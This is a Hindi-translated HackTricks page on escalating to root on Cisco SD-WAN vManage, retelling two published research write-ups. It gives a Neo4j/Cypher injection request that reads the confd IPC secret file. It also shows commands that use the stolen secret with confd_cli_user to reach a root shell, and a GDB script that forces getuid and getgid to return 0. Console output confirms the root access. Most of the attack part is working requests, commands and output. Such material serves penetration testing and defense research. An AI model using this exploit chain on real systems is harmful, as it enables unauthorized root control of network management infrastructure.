mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
148 lines
9.4 KiB
Markdown
148 lines
9.4 KiB
Markdown
# Cisco - vmanage
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Path 1
|
|
|
|
(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
|
|
|
कुछ [दस्तावेज़ीकरण](http://66.218.245.39/doc/html/rn03re18.html) के माध्यम से थोड़ी खुदाई करने के बाद जो `confd` और विभिन्न बाइनरीज़ से संबंधित है (जो Cisco वेबसाइट पर एक खाते के साथ सुलभ हैं), हमने पाया कि IPC सॉकेट को प्रमाणित करने के लिए, यह `/etc/confd/confd_ipc_secret` में स्थित एक गुप्त का उपयोग करता है:
|
|
```
|
|
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
|
|
|
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
|
```
|
|
क्या आपको हमारी Neo4j इंस्टेंस याद है? यह `vmanage` उपयोगकर्ता के विशेषाधिकारों के तहत चल रही है, जिससे हमें पिछले कमजोरियों का उपयोग करके फ़ाइल प्राप्त करने की अनुमति मिलती है:
|
|
```
|
|
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
|
|
|
Host: vmanage-XXXXXX.viptela.net
|
|
|
|
|
|
|
|
[...]
|
|
|
|
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
|
```
|
|
`confd_cli` प्रोग्राम कमांड लाइन तर्कों का समर्थन नहीं करता है लेकिन `/usr/bin/confd_cli_user` को तर्कों के साथ कॉल करता है। इसलिए, हम सीधे `/usr/bin/confd_cli_user` को अपने तर्कों के सेट के साथ कॉल कर सकते हैं। हालाँकि, यह हमारे वर्तमान विशेषाधिकारों के साथ पढ़ने योग्य नहीं है, इसलिए हमें इसे rootfs से प्राप्त करना होगा और इसे scp का उपयोग करके कॉपी करना होगा, मदद पढ़नी होगी, और इसे शेल प्राप्त करने के लिए उपयोग करना होगा:
|
|
```
|
|
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
|
|
|
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
|
|
|
|
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
|
|
|
|
Welcome to Viptela CLI
|
|
|
|
admin connected from 127.0.0.1 using console on vManage
|
|
|
|
vManage# vshell
|
|
|
|
vManage:~# id
|
|
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
## Path 2
|
|
|
|
(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
|
|
|
synacktiv टीम द्वारा लिखे गए ब्लॉग¹ में एक रूट शेल प्राप्त करने का एक सुंदर तरीका बताया गया है, लेकिन समस्या यह है कि इसके लिए `/usr/bin/confd_cli_user` की एक प्रति प्राप्त करनी होती है, जो केवल रूट द्वारा पढ़ी जा सकती है। मैंने बिना किसी परेशानी के रूट तक पहुंचने का एक और तरीका पाया।
|
|
|
|
जब मैंने `/usr/bin/confd_cli` बाइनरी को असेंबल किया, तो मैंने निम्नलिखित देखा:
|
|
```
|
|
vmanage:~$ objdump -d /usr/bin/confd_cli
|
|
… snipped …
|
|
40165c: 48 89 c3 mov %rax,%rbx
|
|
40165f: bf 1c 31 40 00 mov $0x40311c,%edi
|
|
401664: e8 17 f8 ff ff callq 400e80 <getenv@plt>
|
|
401669: 49 89 c4 mov %rax,%r12
|
|
40166c: 48 85 db test %rbx,%rbx
|
|
40166f: b8 dc 30 40 00 mov $0x4030dc,%eax
|
|
401674: 48 0f 44 d8 cmove %rax,%rbx
|
|
401678: 4d 85 e4 test %r12,%r12
|
|
40167b: b8 e6 30 40 00 mov $0x4030e6,%eax
|
|
401680: 4c 0f 44 e0 cmove %rax,%r12
|
|
401684: e8 b7 f8 ff ff callq 400f40 <getuid@plt> <-- HERE
|
|
401689: 89 85 50 e8 ff ff mov %eax,-0x17b0(%rbp)
|
|
40168f: e8 6c f9 ff ff callq 401000 <getgid@plt> <-- HERE
|
|
401694: 89 85 44 e8 ff ff mov %eax,-0x17bc(%rbp)
|
|
40169a: 8b bd 68 e8 ff ff mov -0x1798(%rbp),%edi
|
|
4016a0: e8 7b f9 ff ff callq 401020 <ttyname@plt>
|
|
4016a5: c6 85 cf f7 ff ff 00 movb $0x0,-0x831(%rbp)
|
|
4016ac: 48 85 c0 test %rax,%rax
|
|
4016af: 0f 84 ad 03 00 00 je 401a62 <socket@plt+0x952>
|
|
4016b5: ba ff 03 00 00 mov $0x3ff,%edx
|
|
4016ba: 48 89 c6 mov %rax,%rsi
|
|
4016bd: 48 8d bd d0 f3 ff ff lea -0xc30(%rbp),%rdi
|
|
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
|
… snipped …
|
|
```
|
|
जब मैंने "ps aux" चलाया, तो मैंने निम्नलिखित देखा (_note -g 100 -u 107_)
|
|
```
|
|
vmanage:~$ ps aux
|
|
… snipped …
|
|
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
|
… snipped …
|
|
```
|
|
मैंने अनुमान लगाया कि “confd_cli” प्रोग्राम लॉग इन किए गए उपयोगकर्ता से एकत्रित उपयोगकर्ता आईडी और समूह आईडी को “cmdptywrapper” एप्लिकेशन को पास करता है।
|
|
|
|
मेरा पहला प्रयास “cmdptywrapper” को सीधे चलाने का था और इसे `-g 0 -u 0` प्रदान करने का था, लेकिन यह विफल हो गया। ऐसा लगता है कि एक फ़ाइल डिस्क्रिप्टर (-i 1015) कहीं न कहीं बनाया गया था और मैं इसे नकली नहीं बना सकता।
|
|
|
|
जैसा कि synacktiv के ब्लॉग में उल्लेख किया गया है (अंतिम उदाहरण), `confd_cli` प्रोग्राम कमांड लाइन तर्क का समर्थन नहीं करता है, लेकिन मैं इसे एक डिबगर के साथ प्रभावित कर सकता हूं और सौभाग्य से GDB सिस्टम पर शामिल है।
|
|
|
|
मैंने एक GDB स्क्रिप्ट बनाई जहां मैंने API `getuid` और `getgid` को 0 लौटाने के लिए मजबूर किया। चूंकि मेरे पास पहले से ही deserialization RCE के माध्यम से “vmanage” विशेषाधिकार है, मुझे सीधे `/etc/confd/confd_ipc_secret` पढ़ने की अनुमति है।
|
|
|
|
root.gdb:
|
|
```
|
|
set environment USER=root
|
|
define root
|
|
finish
|
|
set $rax=0
|
|
continue
|
|
end
|
|
break getuid
|
|
commands
|
|
root
|
|
end
|
|
break getgid
|
|
commands
|
|
root
|
|
end
|
|
run
|
|
```
|
|
कंसोल आउटपुट:
|
|
```
|
|
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
|
GNU gdb (GDB) 8.0.1
|
|
Copyright (C) 2017 Free Software Foundation, Inc.
|
|
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
|
This is free software: you are free to change and redistribute it.
|
|
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
|
|
and "show warranty" for details.
|
|
This GDB was configured as "x86_64-poky-linux".
|
|
Type "show configuration" for configuration details.
|
|
For bug reporting instructions, please see:
|
|
<http://www.gnu.org/software/gdb/bugs/>.
|
|
Find the GDB manual and other documentation resources online at:
|
|
<http://www.gnu.org/software/gdb/documentation/>.
|
|
For help, type "help".
|
|
Type "apropos word" to search for commands related to "word"...
|
|
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
|
|
Breakpoint 1 at 0x400f40
|
|
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
|
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
|
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
|
|
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
|
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
|
|
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
|
|
0x0000000000401871 in ?? ()
|
|
Welcome to Viptela CLI
|
|
root connected from 127.0.0.1 using console on vmanage
|
|
vmanage# vshell
|
|
bash-4.4# whoami ; id
|
|
root
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
bash-4.4#
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|